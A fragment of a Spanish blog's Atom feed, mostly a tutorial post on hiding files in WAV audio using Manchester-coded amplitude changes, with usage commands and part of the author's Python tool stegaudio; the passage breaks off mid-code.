&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/H3llgqUKH8JZoy58mmmqZ9JdtYU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/H3llgqUKH8JZoy58mmmqZ9JdtYU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/H3llgqUKH8JZoy58mmmqZ9JdtYU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/H3llgqUKH8JZoy58mmmqZ9JdtYU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/gbEOY/~4/yS9n4Ztwkqs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://danteslab.blogspot.com/feeds/8981640227587895647/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3131013648748842611&amp;postID=8981640227587895647" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/8981640227587895647?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/8981640227587895647?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/gbEOY/~3/yS9n4Ztwkqs/manipulando-trafico.html" title="Manipulando tráfico" /><author><name>Dante</name><uri>http://www.blogger.com/profile/10254527212127539302</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-8V_tVcSSs4c/TpBAMtBBcXI/AAAAAAAAANM/o5UjUx2tM7w/s72-c/Blacksmith+Logo.JPG" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://danteslab.blogspot.com/2011/10/manipulando-trafico.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0YBSXsyeip7ImA9Wx5RE0U.&quot;"><id>tag:blogger.com,1999:blog-3131013648748842611.post-5994297006949592221</id><published>2010-08-21T12:02:00.003+02:00</published><updated>2010-08-21T12:05:58.592+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-08-21T12:05:58.592+02:00</app:edited><title>Sigo vivo</title><content type="html">Para los que echen en falta más artículos en este blog avisarles de que estoy muy volcado con un amigo en el desarrollo de una herramienta que tiene utilidad directa para los artículos que escribo en este blog.... Así que yo lo veo como un periodo de sequía necesario para permitir más y mejores artículos.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Un saludo a todos.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3131013648748842611-5994297006949592221?l=danteslab.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/fw6ZD8JEjWTZNK5OTWDtEnYFPfs/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/fw6ZD8JEjWTZNK5OTWDtEnYFPfs/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/fw6ZD8JEjWTZNK5OTWDtEnYFPfs/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/fw6ZD8JEjWTZNK5OTWDtEnYFPfs/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/gbEOY/~4/wc0zc46t9L4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://danteslab.blogspot.com/feeds/5994297006949592221/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3131013648748842611&amp;postID=5994297006949592221" title="3 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/5994297006949592221?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/5994297006949592221?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/gbEOY/~3/wc0zc46t9L4/sigo-vivo.html" title="Sigo vivo" /><author><name>Dante</name><uri>http://www.blogger.com/profile/10254527212127539302</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>3</thr:total><feedburner:origLink>http://danteslab.blogspot.com/2010/08/sigo-vivo.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUYHQXo_cCp7ImA9WxBaEU4.&quot;"><id>tag:blogger.com,1999:blog-3131013648748842611.post-6849229098774108455</id><published>2010-03-14T20:03:00.031+01:00</published><updated>2010-03-21T03:05:30.448+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-03-21T03:05:30.448+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="criptografía" /><category scheme="http://www.blogger.com/atom/ns#" term="esteganografía" /><category scheme="http://www.blogger.com/atom/ns#" term="programacion" /><title>Esteganografía sonora</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_czXkQpCMagk/S6QuOZmV4BI/AAAAAAAAAMU/FNoxf1RKi0s/s1600-h/Old+Man+in+front+of+speakers.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 195px; height: 135px;" src="http://1.bp.blogspot.com/_czXkQpCMagk/S6QuOZmV4BI/AAAAAAAAAMU/FNoxf1RKi0s/s400/Old+Man+in+front+of+speakers.jpg" alt="" id="BLOGGER_PHOTO_ID_5450532273949892626" border="0" /&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;En mi &lt;a href="http://danteslab.blogspot.com/2010/01/esteganografia-visual.html"&gt;anterior artículo&lt;/a&gt; desarrollé una de las técnicas conocidas para ocultar mensajes en imágenes. A lo largo de este repasaremos otras técnicas utilizadas para esconder datos, pero est&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;a vez en ficheros de sonido.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;  &lt;div style="color: rgb(0, 0, 0);"&gt;Como seguramente recuerde el lector, en mi artículo sobre esteganografía visual, se utilizaba una técnica que se basaba en introducir variaciones en puntos clave de la imagen de manera que, aunque estas variaciones fueran imperceptibles para el ojo humano, pudieran ser recopiladas por un programa informático que supiera en qué puntos buscar y en función de dichas variaciones fuese capaz de reconstruir el mensaje.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: rgb(0, 0, 0);"&gt;Utilizar también esta técnica con ficheros de sonidos es una opción evidente. Con un fichero de sonido que usase un formato &lt;span style="font-weight: bold;"&gt;sin pérdidas&lt;/span&gt;, como por ejemplo los ficheros wav, el algoritmo podría limitarse a codificar ceros y unos en puntos muy concretos procurando que su amplitud fuera mucho menor que la amplitud misma de la señal de audio, la cual se convertiría así en portadora del mensaje oculto. Existen multitud de formatos para codificar ceros y unos sobre señales de amplitud variable. Un ejemplo de estos formatos es la &lt;a href="http://en.wikipedia.org/wiki/Manchester_code"&gt;codificación Mánchester&lt;/a&gt; que, en su versión del IEEE 802.3, codifica unos como pendientes ascendentes (cambio de nivel bajo a nivel alto) y los ceros como pendientes descendentes (cambios de nivel alto a bajo). &lt;/div&gt;&lt;div style="color: rgb(0, 0, 0);"&gt;&lt;div&gt; &lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_czXkQpCMagk/S51jjqA0rfI/AAAAAAAAAL0/5xz7e90TYcE/s1600-h/650px-Manchester_encoding_both_conventions.svg.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 190px;" src="http://2.bp.blogspot.com/_czXkQpCMagk/S51jjqA0rfI/AAAAAAAAAL0/5xz7e90TYcE/s400/650px-Manchester_encoding_both_conventions.svg.png" alt="" id="BLOGGER_PHOTO_ID_5448620588412481010" border="0" /&gt;&lt;/a&gt;&lt;/div&gt; &lt;/div&gt;&lt;/div&gt;&lt;div style="color: rgb(0, 0, 0);"&gt;De esta manera, un algoritmo de ocultamiento de datos podría escoger momentos periódicos del fichero de sonido, medir la amplitud en ese punto y forzar que la amplitud de las muestras inmediatamente precedentes y posteriores se ajustasen al nivel necesario para codificar en Manchester los unos y ceros de los que se compone el mensaje a ocultar. Si cada señal Manchester usa como valor medio el de la muestra original, y la deformación de las muestras inmediatamente anteriores y posteriores es de un amplitud reducida, la anomalía introducida es casi imperceptible para un oído humano no avisado. Por supuesto, y como es habitual en esteganografía, esta anomalía también será más perceptible conforme aumentamos la relación " (tamaño del mensaje a ocultar) / (tamaño del mensaje portador)".&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-style: italic;"&gt;(Si pincha en las imágenes siguientes podrá verlas con mayor resolución)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: rgb(0, 0, 0);"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_czXkQpCMagk/S6QpYG-usvI/AAAAAAAAAME/WSnbZjffm1s/s1600-h/onda_original_blogger.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 489px; height: 293px;" src="http://1.bp.blogspot.com/_czXkQpCMagk/S6QpYG-usvI/AAAAAAAAAME/WSnbZjffm1s/s400/onda_original_blogger.png" alt="" id="BLOGGER_PHOTO_ID_5450526943192462066" border="0" /&gt;&lt;/a&gt;&lt;div style="color: rgb(0, 0, 0);"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_czXkQpCMagk/S6QqK-PkeGI/AAAAAAAAAMM/gjay7xK8NqA/s1600-h/onda_con_mensaje_oculto_blogger_marcado.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 490px; height: 336px;" src="http://2.bp.blogspot.com/_czXkQpCMagk/S6QqK-PkeGI/AAAAAAAAAMM/gjay7xK8NqA/s400/onda_con_mensaje_oculto_blogger_marcado.png" alt="" id="BLOGGER_PHOTO_ID_5450527817020504162" border="0" /&gt;&lt;/a&gt;&lt;/div&gt; &lt;/div&gt;&lt;div style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;En las gráficas precedentes se pueden ver las ondas de amplitud (para el canal izquierdo y derecho) de un fragmento de un fichero de sonido en formato WAV. La primera pareja de ondas son la del fichero de sonido en su versión original, la segunda corresponde a la misma onda con un mensaje de texto oculto. He señalado en rojo algunas de las alteraciones introducidas en la señal para codificar cada bit, si se acercase el zoom un poco más se distinguirían los escalones propios de la codificación Mánchester.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;La anomalía introducida mediante este método toma generalmente la forma de una pequeña distorsión en el sonido, particularmente en los solos agudos se nota como una tenue capa de ruido "blanco" que envuelve al sonido restándole definició&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;n. Comparando el fichero de sonido y el original se nota bastante bien, sobre todo en ficheros de sonido donde predominen los vocalistas... aunque si en el fichero predominan instrumentación diversa y "ruidosa" como guitarras eléctricas, o si sencillamente el oyente no está alertado de antemano, puede pasar mucho más desapercibido.&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Este método tiene una serie de inconvenientes muy importantes. Para empezar utiliza un formato de audio que actualmente está en desuso salvo para aplicaci&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ones muy concretas. Los ficheros WAV son de un tamaño enorme por lo que la mayor parte de los usuarios utilizan ficheros comprimidos, como por ejemplo MP3, que les permiten tamaños mucho más manejables y una calidad aceptable. Así, los ficheros sin pérdidas su&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;elen quedar relegados a masters y piezas de trabajo de alta calidad para la edición de sonido... por lo que un fichero de este tipo con las anomalías que hemos descrito hasta ahora sería ciertamente llamativo.  Por otro lado, este tipo de codificación exige que la reconstrucción del mensaje ocultado&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; se haga en base a medidas muy precisas en momentos muy concretos del fichero de audio, una actualización de las librerías de audio utilizadas para la escritura/lectura puede alterar infinites&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;imalmente la definición de los puntos sucesivos de muestreo de manera que escuchemos un poco "demasiado pronto" o "demasiado tarde" cada una de las muestras donde están los bits escondidos lo que alteraría irremisiblemente la correcta reconstrucción de la información escondida.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Para experimentar con esta técnica, programé en python una aplicación denominada &lt;a href="http://danteslab-files.googlecode.com/files/stegaudio.zip"&gt;stegaudio &lt;/a&gt;. Para ejecutar stegaudio en linux hace falta la instalació&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;n de un par de librerías adicionales de tratamiento de audio. Para hacerlo en Ubuntu no hay más que teclear la siguiente orden:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;$ sudo aptitude install python-tk python-tksnack&lt;/span&gt;&lt;/blockquote&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Una vez hecho esto, ya estamos en condiciones de ejecutar stegaudio.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;Para pedirle a stegaudio que esconda un fichero en un archivo .wav tendríamos que introducir la siguiente orden:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;$ ./stegaudio.py -i fichero_wav_original.wav -d fichero_a_ocul&lt;/span&gt;&lt;span style="font-size:85%;"&gt;tar -o fichero_wav_portador.wav&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Para extraer un fichero escondido, la orden es igualmente sencilla:&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;$ ./stegaudio.py -x fichero_wav_portador.wav -d fichero_rescat&lt;/span&gt;&lt;span style="font-size:85%;"&gt;ado&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;A la hora de esconder información, el núcleo de stegaudio es la función hideFile() de la librería libstegaudio.py:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt; &lt;b&gt;def&lt;/b&gt; hideFile(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;, data_file_name):&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:85%;" &gt;&lt;i&gt;        """ This function encodes data file into audio host file."""&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.data_file_size = (os.stat(data_file_name))[stat.ST_SIZE]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.calculateSeparation(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.getDataFileSize())&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.data_file = &lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:85%;" &gt;open&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;(data_file_name, &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:85%;" &gt;'rb'&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;)&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;b&gt;if&lt;/b&gt; (&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.getSeparation() &lt; &lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:85%;" &gt;0&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;): &lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:85%;" &gt;&lt;i&gt;#This means that data file is too big.&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;            &lt;b&gt;return&lt;/b&gt; ERROR&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;b&gt;else&lt;/b&gt;:&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;            &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.encodeHeader()&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;            &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.byte=&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.data_file.read(&lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:85%;" &gt;1&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;)&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;            &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.bytes_written = &lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:85%;" &gt;0&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;            &lt;b&gt;while&lt;/b&gt; (&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.byte):&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.byte_in_bits = &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.int2bin(n=&lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:85%;" &gt;ord&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.byte), count=&lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:85%;" &gt;8&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;)&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.encodeBits(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.byte_in_bits)&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.byte = &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.data_file.read(&lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:85%;" &gt;1&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;)&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.bytes_written = &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.bytes_written + &lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:85%;" &gt;1&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.percentage_done = &lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:85%;" &gt;int&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;((&lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:85%;" &gt;float&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.bytes_written) /   /&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:85%;" &gt;float&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.data_file_size)) *  &lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:85%;" &gt;100&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;                &lt;b&gt;print&lt;/b&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:85%;" &gt;str&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.percentage_done) + &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:85%;" &gt;"% : "&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt; + /&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:85%;" &gt;str&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.byte_in_bits)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;            &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.hostFileSound.write(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.hostFileName)&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;            &lt;b&gt;return&lt;/b&gt; OK&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;La orden &lt;span style="font-style: italic;"&gt;calculateSeparation()&lt;/span&gt; compara el tamaño del fichero portador y el que hay que esconder y determina cada cuantas muestras de sonido del portador hay que introducir una anomalía que codifique un bit del fichero a esconder. Obviamente, conforme el intervalo de separación entre anomalías se vaya reduciendo, para archivos a esconder m&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ás grandes, estas serán más perceptibles para el usuario que escuche el fichero p&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ortador. En cuanto a la orden &lt;span style="font-style: italic;"&gt;encodeHeader()&lt;/span&gt;, se encarga de cifrar en el tamaño del fichero ocultado al comienzo mismo del fichero portador utilizando para ello 32 anomalías (cada una de llas representaría 1 bit) sin intervalos de separación entre una y otra y distribuidas entre todos los canales de los que disponga el fichero de sonido (p.ej. si fuera un fichero estéreo, 2 canales, cada uno tendría 16 anomalías). Por último, la orden &lt;span style="font-style: italic;"&gt;encodeBits()&lt;/span&gt; va introduciendo byte a byte el fichero a ocultar en el portador:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt; &lt;b&gt;def&lt;/b&gt; encodeBits(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;, bit_string,  position=&lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:85%;" &gt;0&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;):&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:85%;" &gt;&lt;i&gt;        """ This function deals with writing of long bit strings."""&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;b&gt;if&lt;/b&gt; (position == &lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:85%;" &gt;0&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;):&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;            &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.current_position = &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:85%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;.last_position&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:85%;" &gt;        &lt;b&gt;else&lt;/b&gt;:&lt;/span&gt;&lt;span 